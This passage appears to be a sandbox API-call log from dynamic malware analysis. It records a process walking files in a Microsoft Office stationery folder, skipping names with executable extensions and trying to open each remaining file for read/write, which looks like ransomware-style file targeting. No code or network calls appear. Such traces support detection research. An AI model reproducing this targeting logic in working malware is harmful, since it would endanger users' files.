	[0082.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2b00 | out: hHeap=0x300000) returned 1
	[0082.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e75a0
	[0082.701] lstrlenW (lpString=".scr") returned 4
	[0082.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg", lpSrch=".scr") returned 0x0
	[0082.701] lstrlenW (lpString=".cmd") returned 4
	[0082.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg", lpSrch=".cmd") returned 0x0
	[0082.701] lstrlenW (lpString=".dll") returned 4
	[0082.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg", lpSrch=".dll") returned 0x0
	[0082.702] lstrlenW (lpString=".bat") returned 4
	[0082.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg", lpSrch=".bat") returned 0x0
	[0082.702] lstrlenW (lpString=".cpl") returned 4
	[0082.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg", lpSrch=".cpl") returned 0x0
	[0082.702] lstrlenW (lpString=".sys") returned 4
	[0082.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg", lpSrch=".sys") returned 0x0
	[0082.702] lstrlenW (lpString=".msc") returned 4
	[0082.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg", lpSrch=".msc") returned 0x0
	[0082.702] lstrlenW (lpString=".com") returned 4
	[0082.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg", lpSrch=".com") returned 0x0
	[0082.702] lstrlenW (lpString=".lnk") returned 4
	[0082.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg", lpSrch=".lnk") returned 0x0
	[0082.702] lstrlenW (lpString=".msp") returned 4
	[0082.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg", lpSrch=".msp") returned 0x0
	[0082.702] lstrlenW (lpString=".pif") returned 4
	[0082.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg", lpSrch=".pif") returned 0x0
	[0082.702] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg", lpSrch="msp\r\n.pif") returned 0x0
	[0082.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e75a0 | out: hHeap=0x300000) returned 1
	[0082.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0082.702] RtlWakeConditionVariable () returned 0x365f70
	[0082.702] GetCurrentThreadId () returned 0x3a4
	[0082.702] GetCurrentThreadId () returned 0x3a4
	[0082.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fca98 | out: hHeap=0x300000) returned 1
	[0082.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2b38 | out: hHeap=0x300000) returned 1
	[0082.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fca98
	[0082.703] lstrlenW (lpString=".scr") returned 4
	[0082.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf", lpSrch=".scr") returned 0x0
	[0082.703] lstrlenW (lpString=".cmd") returned 4
	[0082.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf", lpSrch=".cmd") returned 0x0
	[0082.703] lstrlenW (lpString=".dll") returned 4
	[0082.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf", lpSrch=".dll") returned 0x0
	[0082.703] lstrlenW (lpString=".bat") returned 4
	[0082.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf", lpSrch=".bat") returned 0x0
	[0082.703] lstrlenW (lpString=".cpl") returned 4
	[0082.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf", lpSrch=".cpl") returned 0x0
	[0082.703] lstrlenW (lpString=".sys") returned 4
	[0082.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf", lpSrch=".sys") returned 0x0
	[0082.703] lstrlenW (lpString=".msc") returned 4
	[0082.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf", lpSrch=".msc") returned 0x0
	[0082.703] lstrlenW (lpString=".com") returned 4
	[0082.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf", lpSrch=".com") returned 0x0
	[0082.703] lstrlenW (lpString=".lnk") returned 4
	[0082.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf", lpSrch=".lnk") returned 0x0
	[0082.703] lstrlenW (lpString=".msp") returned 4
	[0082.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf", lpSrch=".msp") returned 0x0
	[0082.703] lstrlenW (lpString=".pif") returned 4
	[0082.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf", lpSrch=".pif") returned 0x0
	[0082.704] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf", lpSrch="msp\r\n.pif") returned 0x0
	[0082.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fca98 | out: hHeap=0x300000) returned 1
	[0082.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc118 | out: hHeap=0x300000) returned 1
	[0082.704] RtlWakeConditionVariable () returned 0x365f70
	[0082.704] GetCurrentThreadId () returned 0x3a4
	[0082.704] GetCurrentThreadId () returned 0x3a4
	[0082.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0082.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4f60 | out: hHeap=0x300000) returned 1
	[0082.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2b70 | out: hHeap=0x300000) returned 1
	[0082.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4f60
	[0082.704] lstrlenW (lpString=".scr") returned 4
	[0082.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm", lpSrch=".scr") returned 0x0
	[0082.704] lstrlenW (lpString=".cmd") returned 4
	[0082.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm", lpSrch=".cmd") returned 0x0
	[0082.704] lstrlenW (lpString=".dll") returned 4
	[0082.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm", lpSrch=".dll") returned 0x0
	[0082.705] lstrlenW (lpString=".bat") returned 4
	[0082.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm", lpSrch=".bat") returned 0x0
	[0082.705] lstrlenW (lpString=".cpl") returned 4
	[0082.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm", lpSrch=".cpl") returned 0x0
	[0082.705] lstrlenW (lpString=".sys") returned 4
	[0082.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm", lpSrch=".sys") returned 0x0
	[0082.705] lstrlenW (lpString=".msc") returned 4
	[0082.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm", lpSrch=".msc") returned 0x0
	[0082.705] lstrlenW (lpString=".com") returned 4
	[0082.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm", lpSrch=".com") returned 0x0
	[0082.705] lstrlenW (lpString=".lnk") returned 4
	[0082.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm", lpSrch=".lnk") returned 0x0
	[0082.705] lstrlenW (lpString=".msp") returned 4
	[0082.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm", lpSrch=".msp") returned 0x0
	[0082.705] lstrlenW (lpString=".pif") returned 4
	[0082.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm", lpSrch=".pif") returned 0x0
	[0082.705] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm", lpSrch="msp\r\n.pif") returned 0x0
	[0082.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4f60 | out: hHeap=0x300000) returned 1
	[0082.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6470 | out: hHeap=0x300000) returned 1
	[0082.705] RtlWakeConditionVariable () returned 0x365f70
	[0082.705] GetCurrentThreadId () returned 0x3a4
	[0082.706] GetCurrentThreadId () returned 0x3a4
	[0082.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0082.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7648 | out: hHeap=0x300000) returned 1
	[0082.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2ba8 | out: hHeap=0x300000) returned 1
	[0082.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7648
	[0082.706] lstrlenW (lpString=".scr") returned 4
	[0082.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg", lpSrch=".scr") returned 0x0
	[0082.706] lstrlenW (lpString=".cmd") returned 4
	[0082.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg", lpSrch=".cmd") returned 0x0
	[0082.706] lstrlenW (lpString=".dll") returned 4
	[0082.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg", lpSrch=".dll") returned 0x0
	[0082.706] lstrlenW (lpString=".bat") returned 4
	[0082.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg", lpSrch=".bat") returned 0x0
	[0082.706] lstrlenW (lpString=".cpl") returned 4
	[0082.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg", lpSrch=".cpl") returned 0x0
	[0082.706] lstrlenW (lpString=".sys") returned 4
	[0082.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg", lpSrch=".sys") returned 0x0
	[0082.706] lstrlenW (lpString=".msc") returned 4
	[0082.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg", lpSrch=".msc") returned 0x0
	[0082.706] lstrlenW (lpString=".com") returned 4
	[0082.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg", lpSrch=".com") returned 0x0
	[0082.706] lstrlenW (lpString=".lnk") returned 4
	[0082.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg", lpSrch=".lnk") returned 0x0
	[0082.706] lstrlenW (lpString=".msp") returned 4
	[0082.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg", lpSrch=".msp") returned 0x0
	[0082.706] lstrlenW (lpString=".pif") returned 4
	[0082.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg", lpSrch=".pif") returned 0x0
	[0082.707] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg", lpSrch="msp\r\n.pif") returned 0x0
	[0082.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7648 | out: hHeap=0x300000) returned 1
	[0082.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0082.716] RtlWakeConditionVariable () returned 0x365f70
	[0082.716] GetCurrentThreadId () returned 0x3a4
	[0082.716] GetCurrentThreadId () returned 0x3a4
	[0082.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0082.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e76f0 | out: hHeap=0x300000) returned 1
	[0082.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2c50 | out: hHeap=0x300000) returned 1
	[0082.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e76f0
	[0082.717] lstrlenW (lpString=".scr") returned 4
	[0082.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm", lpSrch=".scr") returned 0x0
	[0082.717] lstrlenW (lpString=".cmd") returned 4
	[0082.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm", lpSrch=".cmd") returned 0x0
	[0082.717] lstrlenW (lpString=".dll") returned 4
	[0082.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm", lpSrch=".dll") returned 0x0
	[0082.717] lstrlenW (lpString=".bat") returned 4
	[0082.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm", lpSrch=".bat") returned 0x0
	[0082.717] lstrlenW (lpString=".cpl") returned 4
	[0082.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm", lpSrch=".cpl") returned 0x0
	[0082.717] lstrlenW (lpString=".sys") returned 4
	[0082.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm", lpSrch=".sys") returned 0x0
	[0082.717] lstrlenW (lpString=".msc") returned 4
	[0082.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm", lpSrch=".msc") returned 0x0
	[0082.717] lstrlenW (lpString=".com") returned 4
	[0082.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm", lpSrch=".com") returned 0x0
	[0082.717] lstrlenW (lpString=".lnk") returned 4
	[0082.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm", lpSrch=".lnk") returned 0x0
	[0082.717] lstrlenW (lpString=".msp") returned 4
	[0082.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm", lpSrch=".msp") returned 0x0
	[0082.717] lstrlenW (lpString=".pif") returned 4
	[0082.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm", lpSrch=".pif") returned 0x0
	[0082.718] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm", lpSrch="msp\r\n.pif") returned 0x0
	[0082.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e76f0 | out: hHeap=0x300000) returned 1
	[0082.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0082.739] RtlWakeConditionVariable () returned 0x365f70
	[0082.739] GetCurrentThreadId () returned 0x3a4
	[0082.739] GetCurrentThreadId () returned 0x3a4
	[0082.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0082.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e71b0 | out: hHeap=0x300000) returned 1
	[0082.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3a38 | out: hHeap=0x300000) returned 1
	[0082.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e71b0
	[0082.739] lstrlenW (lpString=".scr") returned 4
	[0082.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif", lpSrch=".scr") returned 0x0
	[0082.740] lstrlenW (lpString=".cmd") returned 4
	[0082.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif", lpSrch=".cmd") returned 0x0
	[0082.740] lstrlenW (lpString=".dll") returned 4
	[0082.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif", lpSrch=".dll") returned 0x0
	[0082.740] lstrlenW (lpString=".bat") returned 4
	[0082.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif", lpSrch=".bat") returned 0x0
	[0082.740] lstrlenW (lpString=".cpl") returned 4
	[0082.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif", lpSrch=".cpl") returned 0x0
	[0082.740] lstrlenW (lpString=".sys") returned 4
	[0082.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif", lpSrch=".sys") returned 0x0
	[0082.740] lstrlenW (lpString=".msc") returned 4
	[0082.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif", lpSrch=".msc") returned 0x0
	[0082.740] lstrlenW (lpString=".com") returned 4
	[0082.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif", lpSrch=".com") returned 0x0
	[0082.740] lstrlenW (lpString=".lnk") returned 4
	[0082.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif", lpSrch=".lnk") returned 0x0
	[0082.740] lstrlenW (lpString=".msp") returned 4
	[0082.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif", lpSrch=".msp") returned 0x0
	[0082.740] lstrlenW (lpString=".pif") returned 4
	[0082.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif", lpSrch=".pif") returned 0x0
	[0082.740] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif", lpSrch="msp\r\n.pif") returned 0x0
	[0082.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e71b0 | out: hHeap=0x300000) returned 1
	[0082.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0082.741] RtlWakeConditionVariable () returned 0x365f70
	[0082.741] GetCurrentThreadId () returned 0x3a4
	[0082.741] GetCurrentThreadId () returned 0x3a4
	[0082.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0082.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4af0 | out: hHeap=0x300000) returned 1
	[0082.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3a00 | out: hHeap=0x300000) returned 1
	[0082.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0082.741] lstrlenW (lpString=".scr") returned 4
	[0082.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg", lpSrch=".scr") returned 0x0
	[0082.741] lstrlenW (lpString=".cmd") returned 4
	[0082.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg", lpSrch=".cmd") returned 0x0
	[0082.741] lstrlenW (lpString=".dll") returned 4
	[0082.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg", lpSrch=".dll") returned 0x0
	[0082.741] lstrlenW (lpString=".bat") returned 4
	[0082.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg", lpSrch=".bat") returned 0x0
	[0082.741] lstrlenW (lpString=".cpl") returned 4
	[0082.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg", lpSrch=".cpl") returned 0x0
	[0082.741] lstrlenW (lpString=".sys") returned 4
	[0082.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg", lpSrch=".sys") returned 0x0
	[0082.741] lstrlenW (lpString=".msc") returned 4
	[0082.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg", lpSrch=".msc") returned 0x0
	[0082.742] lstrlenW (lpString=".com") returned 4
	[0082.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg", lpSrch=".com") returned 0x0
	[0082.742] lstrlenW (lpString=".lnk") returned 4
	[0082.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg", lpSrch=".lnk") returned 0x0
	[0082.742] lstrlenW (lpString=".msp") returned 4
	[0082.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg", lpSrch=".msp") returned 0x0
	[0082.742] lstrlenW (lpString=".pif") returned 4
	[0082.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg", lpSrch=".pif") returned 0x0
	[0082.742] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg", lpSrch="msp\r\n.pif") returned 0x0
	[0082.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4af0 | out: hHeap=0x300000) returned 1
	[0082.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0082.749] RtlWakeConditionVariable () returned 0x365f70
	[0082.749] GetCurrentThreadId () returned 0x3a4
	[0082.750] GetCurrentThreadId () returned 0x3a4
	[0082.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4f60
	[0082.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4df0 | out: hHeap=0x300000) returned 1
	[0082.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27facf0 | out: hHeap=0x300000) returned 1
	[0082.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4df0
	[0082.750] lstrlenW (lpString=".scr") returned 4
	[0082.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif", lpSrch=".scr") returned 0x0
	[0082.750] lstrlenW (lpString=".cmd") returned 4
	[0082.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif", lpSrch=".cmd") returned 0x0
	[0082.750] lstrlenW (lpString=".dll") returned 4
	[0082.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif", lpSrch=".dll") returned 0x0
	[0082.750] lstrlenW (lpString=".bat") returned 4
	[0082.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif", lpSrch=".bat") returned 0x0
	[0082.750] lstrlenW (lpString=".cpl") returned 4
	[0082.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif", lpSrch=".cpl") returned 0x0
	[0082.750] lstrlenW (lpString=".sys") returned 4
